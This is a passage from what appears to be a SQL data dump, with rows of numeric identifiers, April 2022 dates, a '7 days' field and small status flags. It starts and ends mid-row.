days',0),(67931,653,12688,12950,161,73,'2022-04-07','7 days',0),(67932,9011,12688,12950,161,73,'2022-04-07','7 days',0),(67933,648,12688,12950,161,73,'2022-04-07','7 days',1),(67934,9012,12691,12954,161,73,'2022-04-07','7 days',0),(67935,9010,12691,12954,161,73,'2022-04-07','7 days',0),(67936,8785,12691,12954,161,73,'2022-04-07','7 days',1),(67937,8782,12691,12954,161,73,'2022-04-07','7 days',1),(67938,652,12691,12954,161,73,'2022-04-07','7 days',0),(67939,8784,12692,12945,160,73,'2022-04-07','7 days',1),(67940,8783,12692,12945,160,73,'2022-04-07','7 days',0),(67941,656,12692,12945,160,73,'2022-04-07','7 days',0),(67942,653,12692,12945,160,73,'2022-04-07','7 days',0),(67943,9014,12693,12955,161,73,'2022-04-07','7 days',1),(67944,9013,12693,12955,161,73,'2022-04-07','7 days',1),(67945,16880,12694,12956,1675,86,'2022-04-07','7 days',0),(67946,16788,12694,12956,1675,86,'2022-04-07','7 days',0),(67947,16787,12694,12956,1675,86,'2022-04-07','7 days',0),(67948,16786,12694,12956,1675,86,'2022-04-07','7 days',1),(67949,16785,12694,12956,1675,86,'2022-04-07','7 days',0),(67950,16749,12694,12956,1675,86,'2022-04-07','7 days',2),(67951,16748,12694,12956,1675,86,'2022-04-07','7 days',0),(67952,16747,12694,12956,1675,86,'2022-04-07','7 days',0),(67953,16746,12694,12956,1675,86,'2022-04-07','7 days',0),(67954,16745,12694,12956,1675,86,'2022-04-07','7 days',0),(67955,16744,12694,12956,1675,86,'2022-04-07','7 days',0),(67956,16743,12694,12956,1675,86,'2022-04-07','7 days',0),(67957,16742,12694,12956,1675,86,'2022-04-07','7 days',0),(67958,16741,12694,12956,1675,86,'2022-04-07','7 days',0),(67959,16740,12694,12956,1675,86,'2022-04-07','7 days',0),(67960,15629,12694,12956,1675,86,'2022-04-07','7 days',2),(67961,15628,12694,12956,1675,86,'2022-04-07','7 days',0),(67962,15627,12694,12956,1675,86,'2022-04-07','7 days',0),(67963,15372,12694,12956,1675,86,'2022-04-07','7 days',0),(67964,15360,12694,12956,1675,86,'2022-04-07','7 days',0),(67965,15359,12694,12956,1675,86,'2022-04-07','7 days',0),(67966,15358,12694,12956,1675,86,'2022-04-07','7 days',0),(67967,15357,12694,12956,1675,86,'2022-04-07','7 days',0),(67968,15356,12694,12956,1675,86,'2022-04-07','7 days',0),(67969,15355,12694,12956,1675,86,'2022-04-07','7 days',0),(67970,15354,12694,12956,1675,86,'2022-04-07','7 days',0),(67971,15353,12694,12956,1675,86,'2022-04-07','7 days',0),(67972,15352,12694,12956,1675,86,'2022-04-07','7 days',0),(67973,15351,12694,12956,1675,86,'2022-04-07','7 days',0),(67974,15350,12694,12956,1675,86,'2022-04-07','7 days',0),(67975,15349,12694,12956,1675,86,'2022-04-07','7 days',2),(67976,15348,12694,12956,1675,86,'2022-04-07','7 days',0),(67977,15347,12694,12956,1675,86,'2022-04-07','7 days',0),(67978,15346,12694,12956,1675,86,'2022-04-07','7 days',0),(67979,13720,12694,12956,1675,86,'2022-04-07','7 days',0),(67980,13099,12694,12956,1675,86,'2022-04-07','7 days',1),(67981,13085,12694,12956,1675,86,'2022-04-07','7 days',1),(67982,13009,12694,12956,1675,86,'2022-04-07','7 days',2),(67983,13008,12694,12956,1675,86,'2022-04-07','7 days',0),(67984,13007,12694,12956,1675,86,'2022-04-07','7 days',2),(67985,13006,12694,12956,1675,86,'2022-04-07','7 days',0),(67986,13005,12694,12956,1675,86,'2022-04-07','7 days',0),(67987,13004,12694,12956,1675,86,'2022-04-07','7 days',2),(67988,12788,12694,12956,1675,86,'2022-04-07','7 days',0),(67989,12787,12694,12956,1675,86,'2022-04-07','7 days',0),(67990,12786,12694,12956,1675,86,'2022-04-07','7 days',0),(67991,12785,12694,12956,1675,86,'2022-04-07','7 days',0),(67992,12784,12694,12956,1675,86,'2022-04-07','7 days',0),(67993,12783,12694,12956,1675,86,'2022-04-07','7 days',0),(67994,12360,12694,12956,1675,86,'2022-04-07','7 days',2),(67995,12359,12694,12956,1675,86,'2022-04-07','7 days',0),(67996,12358,12694,12956,1675,86,'2022-04-07','7 days',0),(67997,12357,12694,12956,1675,86,'2022-04-07','7 days',0),(67998,12303,12694,12956,1675,86,'2022-04-07','7 days',0),(67999,12302,12694,12956,1675,86,'2022-04-07','7 days',0),(68000,12301,12694,12956,1675,86,'2022-04-07','7 days',0),(68001,12300,12694,12956,1675,86,'2022-04-07','7 days',0),(68002,12299,12694,12956,1675,86,'2022-04-07','7 days',0),(68003,12298,12694,12956,1675,86,'2022-04-07','7 days',0),(68004,12297,12694,12956,1675,86,'2022-04-07','7 days',0),(68005,12296,12694,12956,1675,86,'2022-04-07','7 days',0),(68006,11970,12694,12956,1675,86,'2022-04-07','7 days',0),(68007,11969,12694,12956,1675,86,'2022-04-07','7 days',0),(68008,11967,12694,12956,1675,86,'2022-04-07','7 days',0),(68009,11965,12694,12956,1675,86,'2022-04-07','7 days',0),(68010,11964,12694,12956,1675,86,'2022-04-07','7 days',0),(68011,20919,12681,12944,1675,86,'2022-04-07','7 days',0),(68012,20918,12681,12944,1675,86,'2022-04-07','7 days',2),(68013,20917,12681,12944,1675,86,'2022-04-07','7 days',2),(68014,20916,12681,12944,1675,86,'2022-04-07','7 days',0),(68015,15826,12681,12944,1675,86,'2022-04-07','7 days',0),(68016,13344,12681,12944,1675,86,'2022-04-07','7 days',0),(68017,13343,12681,12944,1675,86,'2022-04-07','7 days',0),(68018,13342,12681,12944,1675,86,'2022-04-07','7 days',0),(68019,13341,12681,12944,1675,86,'2022-04-07','7 days',0),(68020,13340,12681,12944,1675,86,'2022-04-07','7 days',0),(68021,13339,12681,12944,1675,86,'2022-04-07','7 days',2),(68022,13338,12681,12944,1675,86,'2022-04-07','7 days',0),(68023,20438,12676,12939,1666,277,'2022-04-07','7 days',0),(68024,20437,12676,12939,1666,277,'2022-04-07','7 days',0),(68025,20671,12676,12939,1666,277,'2022-04-08','7 days',0),(68026,20671,12675,12936,1661,277,'2022-04-08','7 days',0),(68027,20671,12674,12935,1661,277,'2022-04-08','7 days',0),(68028,644,12688,12950,161,73,'2022-04-11','7 days',0),(68029,643,12688,12950,161,73,'2022-04-11','7 days',0),(68030,641,12688,12950,161,73,'2022-04-11','7 days',0),(68031,638,12688,12950,161,73,'2022-04-11','7 days',0),(68032,635,12688,12950,161,73,'2022-04-11','7 days',0),(68033,630,12688,12950,161,73,'2022-04-11','7 days',0),(68034,8784,12691,12954,161,73,'2022-04-11','7 days',1),(68035,8783,12691,12954,161,73,'2022-04-11','7 days',0),(68036,656,12691,12954,161,73,'2022-04-11','7 days',0),(68037,653,12691,12954,161,73,'2022-04-11','7 days',0),(68038,673,12692,12945,160,73,'2022-04-11','7 days',0),(68039,667,12692,12945,160,73,'2022-04-11','7 days',0),(68040,666,12692,12945,160,73,'2022-04-11','7 days',0),(68041,670,12692,12945,160,73,'2022-04-11','7 days',0),(68042,660,12692,12945,160,73,'2022-04-11','7 days',0),(68043,10287,12693,12955,161,73,'2022-04-11','7 days',1),(68044,664,12693,12955,161,73,'2022-04-11','7 days',0),(68045,663,12693,12955,161,73,'2022-04-11','7 days',0),(68046,658,12693,12955,161,73,'2022-04-11','7 days',0),(68047,657,12693,12955,161,73,'2022-04-11','7 days',0),(68048,19520,12693,12955,161,73,'2022-04-11','7 days',0),(68049,19518,12693,12955,161,73,'2022-04-11','7 days',0),(68050,669,12698,12961,161,73,'2022-04-11','7 days',1),(68051,650,12698,12961,161,73,'2022-04-11','7 days',0),(68052,649,12698,12961,161,73,'2022-04-11','7 days',0),(68053,646,12698,12961,161,73,'2022-04-11','7 days',0),(68054,645,12698,12961,161,73,'2022-04-11','7 days',1),(68055,21374,12711,12974,194,45,'2022-04-11','7 days',1),(68056,14534,12711,12974,194,45,'2022-04-11','7 days',1),(68057,12532,12711,12974,194,45,'2022-04-11','7 days',1),(68058,12531,12711,12974,194,45,'2022-04-11','7 days',1),(68059,11715,12711,12974,194,45,'2022-04-11','7 days',1),(68060,11714,12711,12974,194,45,'2022-04-11','7 days',1),(68061,10976,12711,12974,194,45,'2022-04-11','7 days',1),(68062,10975,12711,12974,194,45,'2022-04-11','7 days',1),(68063,5467,12711,12974,194,45,'2022-04-11','7 days',1),(68064,1989,12711,12974,194,45,'2022-04-11','7 days',1),(68065,21374,12695,12957,195,45,'2022-04-12','7 days',1),(68066,14534,12695,12957,195,45,'2022-04-12','7 days',1),(68067,12532,12695,12957,195,45,'2022-04-12','7 days',1),(68068,12531,12695,12957,195,45,'2022-04-12','7 days',1),(68069,11715,12695,12957,195,45,'2022-04-12','7 days',1),(68070,17682,12719,12978,1667,277,'2022-04-13','7 days',1),(68071,17681,12719,12978,1667,277,'2022-04-13','7 days',0),(68072,15861,12719,12978,1667,277,'2022-04-13','7 days',0),(68073,8784,12720,12979,160,73,'2022-04-13','7 days',1),(68074,8783,12720,12979,160,73,'2022-04-13','7 days',1),(68075,656,12720,12979,160,73,'2022-04-13','7 days',2),(68076,653,12720,12979,160,73,'2022-04-13','7 days',1),(68077,673,12720,12979,160,73,'2022-04-13','7 days',0),(68078,634,12720,12979,160,73,'2022-04-13','7 days',0),(68079,664,12720,12979,160,73,'2022-04-13','7 days',0),(68080,663,12720,12979,160,73,'2022-04-13','7 days',0),(68081,658,12720,12979,160,73,'2022-04-13','7 days',0),(68082,654,12698,12961,161,73,'2022-04-13','7 days',0),(68083,19523,12698,12961,161,73,'2022-04-13','7 days',0),(68084,19522,12698,12961,161,73,'2022-04-13','7 days',0),(68085,19521,12698,12961,161,73,'2022-04-13','7 days',0),(68086,670,12688,12950,161,73,'2022-04-13','7 days',0),(68087,660,12688,12950,161,73,'2022-04-13','7 days',0),(68088,9014,12688,12950,161,73,'2022-04-13','7 days',1),(68089,9013,12688,12950,161,73,'2022-04-13','7 days',1),(68090,8786,12688,12950,161,73,'2022-04-13','7 days',0),(68091,9014,12691,12954,161,73,'2022-04-13','7 days',1),(68092,9013,12691,12954,161,73,'2022-04-13','7 days',1),(68093,8786,12691,12954,161,73,'2022-04-13','7 days',0),(68094,668,12691,12954,161,73,'2022-04-13','7 days',0),(68095,655,12691,12954,161,73,'2022-04-13','7 days',0),(68096,632,12691,12954,161,73,'2022-04-13','7 days',0),(68097,650,12692,12945,160,73,'2022-04-13','7 days',2),(68098,649,12692,12945,160,73,'2022-04-13','7 days',0),(68099,646,12692,12945,160,73,'2022-04-13','7 days',0),(68100,645,12692,12945,160,73,'2022-04-13','7 days',1),(68101,644,12693,12955,161,73,'2022-04-13','7 days',0),(68102,643,12693,12955,161,73,'2022-04-13','7 days',0),(68103,641,12693,12955,161,73,'2022-04-13','7 days',0),(68104,638,12693,12955,161,73,'2022-04-13','7 days',2),(68105,635,12693,12955,161,73,'2022-04-13','7 days',0),(68106,630,12693,12955,161,73,'2022-04-13','7 days',0),(68107,11715,12554,12819,194,45,'2022-04-15','7 days',1),(68108,11714,12554,12819,194,45,'2022-04-15','7 days',1),(68109,10976,12554,12819,194,45,'2022-04-15','7 days',1),(68110,10975,12554,12819,194,45,'2022-04-15','7 days',1),(68111,16880,12728,12988,1675,86,'2022-04-19','7 days',0),(68112,16788,12728,12988,1675,86,'2022-04-19','7 days',0),(68113,16787,12728,12988,1675,86,'2022-04-19','7 days',0),(68114,16786,12728,12988,1675,86,'2022-04-19','7 days',1),(68115,16785,12728,12988,1675,86,'2022-04-19','7 days',0),(68116,16749,12728,12988,1675,86,'2022-04-19','7 days',1),(68117,16748,12728,12988,1675,86,'2022-04-19','7 days',0),(68118,16747,12728,12988,1675,86,'2022-04-19','7 days',0),(68119,16746,12728,12988,1675,86,'2022-04-19','7 days',2),(68120,16745,12728,12988,1675,86,'2022-04-19','7 days',0),(68121,16744,12728,12988,1675,86,'2022-04-19','7 days',0),(68122,16743,12728,12988,1675,86,'2022-04-19','7 days',0),(68123,16742,12728,12988,1675,86,'2022-04-19','7 days',0),(68124,16741,12728,12988,1675,86,'2022-04-19','7 days',0),(68125,16740,12728,12988,1675,86,'2022-04-19','7 days',0),(68126,15629,12728,12988,1675,86,'2022-04-19','7 days',0),(68127,15628,12728,12988,1675,86,'2022-04-19','7 days',0),(68128,15627,12728,12988,1675,86,'2022-04-19','7 days',0),(68129,15372,12728,12988,1675,86,'2022-04-19','7 days',0),(68130,15360,12728,12988,1675,86,'2022-04-19','7 days',0),(68131,15359,12728,12988,1675,86,'2022-04-19','7 days',0),(68132,15358,12728,12988,1675,86,'2022-04-19','7 days',0),(68133,15357,12728,12988,1675,86,'2022-04-19','7 days',0),(68134,15356,12728,12988,1675,86,'2022-04-19','7 days',0),(68135,15355,12728,12988,1675,86,'2022-04-19','7 days',0),(68136,15354,12728,12988,1675,86,'2022-04-19','7 days',0),(68137,15353,12728,12988,1675,86,'2022-04-19','7 days',2),(68138,15352,12728,12988,1675,86,'2022-04-19','7 days',0),(68139,15351,12728,12988,1675,86,'2022-04-19','7 days',0),(68140,15350,12728,12988,1675,86,'2022-04-19','7 days',0),(68141,15349,12728,12988,1675,86,'2022-04-19','7 days',0),(68142,15348,12728,12988,1675,86,'2022-04-19','7 days',0),(68143,15347,12728,12988,1675,86,'2022-04-19','7 days',1),(68144,15346,12728,12988,1675,86,'2022-04-19','7 days',2),(68145,13720,12728,12988,1675,86,'2022-04-19','7 days',0),(68146,13099,12728,12988,1675,86,'2022-04-19','7 days',1),(68147,21319,12727,12983,162,73,'2022-04-20','7 days',0),(68148,21318,12727,12983,162,73,'2022-04-20','7 days',0),(68149,21317,12727,12983,162,73,'2022-04-20','7 days',0),(68150,21314,12727,12983,162,73,'2022-04-20','7 days',2),(68151,21313,12727,12983,162,73,'2022-04-20','7 days',0),(68152,21311,12727,12983,162,73,'2022-04-20','7 days',0),(68153,21310,12727,12983,162,73,'2022-04-20','7 days',0),(68154,21308,12727,12983,162,73,'2022-04-20','7 days',0),(68155,21307,12727,12983,162,73,'2022-04-20','7 days',1),(68156,21306,12727,12983,162,73,'2022-04-20','7 days',0),(68157,19260,12726,12987,1675,86,'2022-04-20','7 days',0),(68158,19259,12726,12987,1675,86,'2022-04-20','7 days',0),(68159,19258,12726,12987,1675,86,'2022-04-20','7 days',0),(68160,19257,12726,12987,1675,86,'2022-04-20','7 days',0),(68161,19256,12726,12987,1675,86,'2022-04-20','7 days',0),(68162,19255,12726,12987,1675,86,'2022-04-20','7 days',0),(68163,15626,12726,12987,1675,86,'2022-04-20','7 days',0),(68164,15625,12726,12987,1675,86,'2022-04-20','7 days',0),(68165,15624,12726,12987,1675,86,'2022-04-20','7 days',0),(68166,15623,12726,12987,1675,86,'2022-04-20','7 days',0),(68167,15540,12726,12987,1675,86,'2022-04-20','7 days',2),(68168,15539,12726,12987,1675,86,'2022-04-20','7 days',0),(68169,15538,12726,12987,1675,86,'2022-04-20','7 days',0),(68170,15537,12726,12987,1675,86,'2022-04-20','7 days',0),(68171,15536,12726,12987,1675,86,'2022-04-20','7 days',0),(68172,15535,12726,12987,1675,86,'2022-04-20','7 days',0),(68173,15534,12726,12987,1675,86,'2022-04-20','7 days',0),(68174,15533,12726,12987,1675,86,'2022-04-20','7 days',0),(68175,15532,12726,12987,1675,86,'2022-04-20','7 days',0),(68176,15531,12726,12987,1675,86,'2022-04-20','7 days',0),(68177,15530,12726,12987,1675,86,'2022-04-20','7 days',0),(68178,15529,12726,12987,1675,86,'2022-04-20','7 days',0),(68179,15528,12726,12987,1675,86,'2022-04-20','7 days',0),(68180,14617,12726,12987,1675,86,'2022-04-20','7 days',0),(68181,14446,12726,12987,1675,86,'2022-04-20','7 days',0),(68182,12770,12726,12987,1675,86,'2022-04-20','7 days',0),(68183,12530,12726,12987,1675,86,'2022-04-20','7 days',0),(68184,12529,12726,12987,1675,86,'2022-04-20','7 days',0),(68185,10944,12726,12987,1675,86,'2022-04-20','7 days',0),(68186,10943,12726,12987,1675,86,'2022-04-20','7 days',0),(68187,6348,12726,12987,1675,86,'2022-04-20','7 days',0),(68188,6188,12726,12987,1675,86,'2022-04-20','7 days',0),(68189,5738,12726,12987,1675,86,'2022-04-20','7 days',2),(68190,5736,12726,12987,1675,86,'2022-04-20','7 days',0),(68191,5734,12726,12987,1675,86,'2022-04-20','7 days',0),(68192,5732,12726,12987,1675,86,'2022-04-20','7 days',0),(68193,5731,12726,12987,1675,86,'2022-04-20','7 days',0),(68194,5730,12726,12987,1675,86,'2022-04-20','7 days',0),(68195,5729,12726,12987,1675,86,'2022-04-20','7 days',0),(68196,5728,12726,12987,1675,86,'2022-04-20','7 days',0),(68197,4284,12726,12987,1675,86,'2022-04-20','7 days',0),(68198,3704,12726,12987,1675,86,'2022-04-20','7 days',1),(68199,3703,12726,12987,1675,86,'2022-04-20','7 days',2),(68200,3702,12726,12987,1675,86,'2022-04-20','7 days',0),(68201,3701,12726,12987,1675,86,'2022-04-20','7 days',0),(68202,3700,12726,12987,1675,86,'2022-04-20','7 days',0),(68203,1128,12726,12987,1675,86,'2022-04-20','7 days',0),(68204,1127,12726,12987,1675,86,'2022-04-20','7 days',2),(68205,1126,12726,12987,1675,86,'2022-04-20','7 days',0),(68206,1116,12726,12987,1675,86,'2022-04-20','7 days',2),(68207,1107,12726,12987,1675,86,'2022-04-20','7 days',0),(68208,1106,12726,12987,1675,86,'2022-04-20','7 days',2),(68209,1105,12726,12987,1675,86,'2022-04-20','7 days',1),(68210,1104,12726,12987,1675,86,'2022-04-20','7 days',2),(68211,989,12726,12987,1675,86,'2022-04-20','7 days',0),(68212,988,12726,12987,1675,86,'2022-04-20','7 days',0),(68213,987,12726,12987,1675,86,'2022-04-20','7 days',0),(68214,986,12726,12987,1675,86,'2022-04-20','7 days',0),(68215,985,12726,12987,1675,86,'2022-04-20','7 days',0),(68216,984,12726,12987,1675,86,'2022-04-20','7 days',0),(68217,940,12726,12987,1675,86,'2022-04-20','7 days',0),(68218,939,12726,12987,1675,86,'2022-04-20','7 days',0),(68219,938,12726,12987,1675,86,'2022-04-20','7 days',0),(68220,936,12726,12987,1675,86,'2022-04-20','7 days',1),(68221,20789,12725,12986,1675,86,'2022-04-20','7 days',0),(68222,20731,12725,12986,1675,86,'2022-04-20','7 days',0),(68223,20730,12725,12986,1675,86,'2022-04-20','7 days',0),(68224,20666,12725,12986,1675,86,'2022-04-20','7 days',0),(68225,20665,12725,12986,1675,86,'2022-04-20','7 days',0),(68226,18934,12725,12986,1675,86,'2022-04-20','7 days',0),(68227,18930,12725,12986,1675,86,'2022-04-20','7 days',0),(68228,18929,12725,12986,1675,86,'2022-04-20','7 days',0),(68229,18928,12725,12986,1675,86,'2022-04-20','7 days',0),(68230,18695,12725,12986,1675,86,'2022-04-20','7 days',0),(68231,18562,12725,12986,1675,86,'2022-04-20','7 days',0),(68232,18561,12725,12986,1675,86,'2022-04-20','7 days',0),(68233,18560,12725,12986,1675,86,'2022-04-20','7 days',0),(68234,17502,12725,12986,1675,86,'2022-04-20','7 days',2),(68235,17501,12725,12986,1675,86,'2022-04-20','7 days',0),(68236,17500,12725,12986,1675,86,'2022-04-20','7 days',0),(68237,17078,12725,12986,1675,86,'2022-04-20','7 days',0),(68238,17077,12725,12986,1675,86,'2022-04-20','7 days',0),(68239,17076,12725,12986,1675,86,'2022-04-20','7 days',0),(68240,16783,12725,12986,1675,86,'2022-04-20','7 days',0),(68241,16782,12725,12986,1675,86,'2022-04-20','7 days',0),(68242,16739,12725,12986,1675,86,'2022-04-20','7 days',0),(68243,16024,12725,12986,1675,86,'2022-04-20','7 days',0),(68244,15975,12725,12986,1675,86,'2022-04-20','7 days',2),(68245,15589,12725,12986,1675,86,'2022-04-20','7 days',0),(68246,15588,12725,12986,1675,86,'2022-04-20','7 days',0),(68247,15587,12725,12986,1675,86,'2022-04-20','7 days',0),(68248,15586,12725,12986,1675,86,'2022-04-20','7 days',0),(68249,15585,12725,12986,1675,86,'2022-04-20','7 days',0),(68250,15584,12725,12986,1675,86,'2022-04-20','7 days',0),(68251,15567,12725,12986,1675,86,'2022-04-20','7 days',0),(68252,15493,12725,12986,1675,86,'2022-04-20','7 days',0),(68253,15369,12725,12986,1675,86,'2022-04-20','7 days',0),(68254,15368,12725,12986,1675,86,'2022-04-20','7 days',0),(68255,15367,12725,12986,1675,86,'2022-04-20','7 days',0),(68256,15366,12725,12986,1675,86,'2022-04-20','7 days',0),(68257,15365,12725,12986,1675,86,'2022-04-20','7 days',0),(68258,15364,12725,12986,1675,86,'2022-04-20','7 days',0),(68259,17681,12718,11103,1665,277,'2022-04-20','7 days',0),(68260,15861,12718,11103,1665,277,'2022-04-20','7 days',0),(68261,20671,12721,12982,1661,277,'2022-04-20','7 days',0),(68262,20414,12721,12982,1661,277,'2022-04-20','7 days',0),(68263,20413,12721,12982,1661,277,'2022-04-20','7 days',0),(68264,15363,12725,12986,1675,86,'2022-04-20','7 days',1),(68265,18062,12724,12985,1675,86,'2022-04-20','7 days',2),(68266,18061,12724,12985,1675,86,'2022-04-20','7 days',0),(68267,18060,12724,12985,1675,86,'2022-04-20','7 days',0),(68268,18059,12724,12985,1675,86,'2022-04-20','7 days',0),(68269,12830,12724,12985,1675,86,'2022-04-20','7 days',0),(68270,9765,12724,12985,1675,86,'2022-04-20','7 days',0),(68271,9764,12724,12985,1675,86,'2022-04-20','7 days',0),(68272,9756,12724,12985,1675,86,'2022-04-20','7 days',0),(68273,9755,12724,12985,1675,86,'2022-04-20','7 days',0),(68274,9753,12724,12985,1675,86,'2022-04-20','7 days',0),(68275,9752,12724,12985,1675,86,'2022-04-20','7 days',0),(68276,9751,12724,12985,1675,86,'2022-04-20','7 days',0),(68277,18927,12681,12944,1675,86,'2022-04-20','7 days',2),(68278,18926,12681,12944,1675,86,'2022-04-20','7 days',0),(68279,18925,12681,12944,1675,86,'2022-04-20','7 days',0),(68280,18924,12681,12944,1675,86,'2022-04-20','7 days',0),(68281,18923,12681,12944,1675,86,'2022-04-20','7 days',0),(68282,18922,12681,12944,1675,86,'2022-04-20','7 days',0),(68283,18921,12681,12944,1675,86,'2022-04-20','7 days',0),(68284,18920,12681,12944,1675,86,'2022-04-20','7 days',0),(68285,18919,12681,12944,1675,86,'2022-04-20','7 days',0),(68286,18918,12681,12944,1675,86,'2022-04-20','7 days',0),(68287,18841,12681,12944,1675,86,'2022-04-20','7 days',0),(68288,18840,12681,12944,1675,86,'2022-04-20','7 days',0),(68289,18839,12681,12944,1675,86,'2022-04-20','7 days',0),(68290,18837,12681,12944,1675,86,'2022-04-20','7 days',0),(68291,18836,12681,12944,1675,86,'2022-04-20','7 days',0),(68292,18693,12681,12944,1675,86,'2022-04-20','7 days',0),(68293,18692,12681,12944,1675,86,'2022-04-20','7 days',0),(68294,18691,12681,12944,1675,86,'2022-04-20','7 days',0),(68295,18664,12681,12944,1675,86,'2022-04-20','7 days',0),(68296,18655,12681,12944,1675,86,'2022-04-20','7 days',0),(68297,18654,12681,12944,1675,86,'2022-04-20','7 days',0),(68298,18653,12681,12944,1675,86,'2022-04-20','7 days',0),(68299,18612,12681,12944,1675,86,'2022-04-20','7 days',0),(68300,18611,12681,12944,1675,86,'2022-04-20','7 days',2),(68301,18314,12681,12944,1675,86,'2022-04-20','7 days',2),(68302,18102,12681,12944,1675,86,'2022-04-20','7 days',0),(68303,18101,12681,12944,1675,86,'2022-04-20','7 days',2),(68304,18100,12681,12944,1675,86,'2022-04-20','7 days',0),(68305,18099,12681,12944,1675,86,'2022-04-20','7 days',0),(68306,18098,12681,12944,1675,86,'2022-04-20','7 days',1),(68307,18097,12681,12944,1675,86,'2022-04-20','7 days',0),(68308,18096,12681,12944,1675,86,'2022-04-20','7 days',0),(68309,18095,12681,12944,1675,86,'2022-04-20','7 days',0),(68310,15371,12681,12944,1675,86,'2022-04-20','7 days',0),(68311,15370,12681,12944,1675,86,'2022-04-20','7 days',0),(68312,15361,12681,12944,1675,86,'2022-04-20','7 days',0),(68313,14580,12681,12944,1675,86,'2022-04-20','7 days',0),(68314,14439,12681,12944,1675,86,'2022-04-20','7 days',0),(68315,13236,12681,12944,1675,86,'2022-04-20','7 days',0),(68316,13100,12681,12944,1675,86,'2022-04-20','7 days',0),(68317,12285,12681,12944,1675,86,'2022-04-20','7 days',0),(68318,12284,12681,12944,1675,86,'2022-04-20','7 days',0),(68319,12283,12681,12944,1675,86,'2022-04-20','7 days',0),(68320,12282,12681,12944,1675,86,'2022-04-20','7 days',0),(68321,12281,12681,12944,1675,86,'2022-04-20','7 days',0),(68322,12280,12681,12944,1675,86,'2022-04-20','7 days',0),(68323,12279,12681,12944,1675,86,'2022-04-20','7 days',0),(68324,12278,12681,12944,1675,86,'2022-04-20','7 days',0),(68325,12277,12681,12944,1675,86,'2022-04-20','7 days',2),(68326,12276,12681,12944,1675,86,'2022-04-20','7 days',0),(68327,10916,12681,12944,1675,86,'2022-04-20','7 days',0),(68328,10915,12681,12944,1675,86,'2022-04-20','7 days',0),(68329,10914,12681,12944,1675,86,'2022-04-20','7 days',0),(68330,10913,12681,12944,1675,86,'2022-04-20','7 days',0),(68331,9091,12681,12944,1675,86,'2022-04-20','7 days',0),(68332,8996,12681,12944,1675,86,'2022-04-20','7 days',0),(68333,16237,12724,12985,1675,86,'2022-04-20','7 days',0),(68334,16236,12724,12985,1675,86,'2022-04-20','7 days',0),(68335,16223,12724,12985,1675,86,'2022-04-20','7 days',0),(68336,16222,12724,12985,1675,86,'2022-04-20','7 days',0),(68337,16221,12724,12985,1675,86,'2022-04-20','7 days',0),(68338,16220,12724,12985,1675,86,'2022-04-20','7 days',0),(68339,16219,12724,12985,1675,86,'2022-04-20','7 days',0),(68340,16218,12724,12985,1675,86,'2022-04-20','7 days',2),(68341,21374,12735,12993,188,45,'2022-04-21','7 days',1),(68342,14534,12735,12993,188,45,'2022-04-21','7 days',1),(68343,12532,12735,12993,188,45,'2022-04-21','7 days',1),(68344,10976,12735,12993,188,45,'2022-04-21','7 days',1),(68345,1989,12735,12993,188,45,'2022-04-21','7 days',1),(68346,9011,12723,12984,161,73,'2022-04-21','7 days',0),(68347,648,12723,12984,161,73,'2022-04-21','7 days',1),(68348,9014,12723,12984,161,73,'2022-04-21','7 days',1),(68349,9013,12723,12984,161,73,'2022-04-21','7 days',1),(68350,8786,12723,12984,161,73,'2022-04-21','7 days',0),(68351,670,12720,12979,160,73,'2022-04-21','7 days',0),(68352,660,12720,12979,160,73,'2022-04-21','7 days',0),(68353,654,12720,12979,160,73,'2022-04-21','7 days',0),(68354,637,12720,12979,160,73,'2022-04-21','7 days',0),(68355,636,12720,12979,160,73,'2022-04-21','7 days',0),(68356,629,12720,12979,160,73,'2022-04-21','7 days',0),(68357,9012,12698,12961,161,73,'2022-04-21','7 days',0),(68358,9010,12698,12961,161,73,'2022-04-21','7 days',0),(68359,8785,12698,12961,161,73,'2022-04-21','7 days',1),(68360,8782,12698,12961,161,73,'2022-04-21','7 days',0),(68361,652,12698,12961,161,73,'2022-04-21','7 days',0),(68362,19523,12692,12945,160,73,'2022-04-21','7 days',0),(68363,19522,12692,12945,160,73,'2022-04-21','7 days',0),(68364,19521,12692,12945,160,73,'2022-04-21','7 days',0),(68365,19520,12692,12945,160,73,'2022-04-21','7 days',0),(68366,19518,12692,12945,160,73,'2022-04-21','7 days',0),(68367,9010,12693,12955,161,73,'2022-04-21','7 days',0),(68368,8785,12693,12955,161,73,'2022-04-21','7 days',0),(68369,8782,12693,12955,161,73,'2022-04-21','7 days',0),(68370,652,12693,12955,161,73,'2022-04-21','7 days',0),(68371,9009,12688,12950,161,73,'2022-04-21','7 days',0),(68372,9008,12688,12950,161,73,'2022-04-21','7 days',0),(68373,665,12688,12950,161,73,'2022-04-21','7 days',0),(68374,662,12688,12950,161,73,'2022-04-21','7 days',0),(68375,633,12688,12950,161,73,'2022-04-21','7 days',0),(68376,18841,12737,12994,1675,86,'2022-04-22','7 days',2),(68377,18840,12737,12994,1675,86,'2022-04-22','7 days',0),(68378,18839,12737,12994,1675,86,'2022-04-22','7 days',0),(68379,18837,12737,12994,1675,86,'2022-04-22','7 days',0),(68380,18836,12737,12994,1675,86,'2022-04-22','7 days',0),(68381,18693,12737,12994,1675,86,'2022-04-22','7 days',0),(68382,18692,12737,12994,1675,86,'2022-04-22','7 days',0),(68383,18691,12737,12994,1675,86,'2022-04-22','7 days',0),(68384,18664,12737,12994,1675,86,'2022-04-22','7 days',0),(68385,18655,12737,12994,1675,86,'2022-04-22','7 days',0),(68386,18654,12737,12994,1675,86,'2022-04-22','7 days',0),(68387,18653,12737,12994,1675,86,'2022-04-22','7 days',0),(68388,18612,12737,12994,1675,86,'2022-04-22','7 days',0),(68389,18611,12737,12994,1675,86,'2022-04-22','7 days',0),(68390,18314,12737,12994,1675,86,'2022-04-22','7 days',0),(68391,18102,12737,12994,1675,86,'2022-04-22','7 days',0),(68392,18101,12737,12994,1675,86,'2022-04-22','7 days',2),(68393,18100,12737,12994,1675,86,'2022-04-22','7 days',0),(68394,18099,12737,12994,1675,86,'2022-04-22','7 days',0),(68395,18098,12737,12994,1675,86,'2022-04-22','7 days',0),(68396,21376,12392,5004,1394,86,'2022-04-22','7 days',1),(68397,20789,12737,12994,1675,86,'2022-04-23','7 days',0),(68398,20731,12737,12994,1675,86,'2022-04-23','7 days',0),(68399,20730,12737,12994,1675,86,'2022-04-23','7 days',0),(68400,20666,12737,12994,1675,86,'2022-04-23','7 days',0),(68401,20665,12737,12994,1675,86,'2022-04-23','7 days',0),(68402,18934,12737,12994,1675,86,'2022-04-23','7 days',0),(68403,18930,12737,12994,1675,86,'2022-04-23','7 days',0),(68404,18929,12737,12994,1675,86,'2022-04-23','7 days',0),(68405,18928,12737,12994,1675,86,'2022-04-23','7 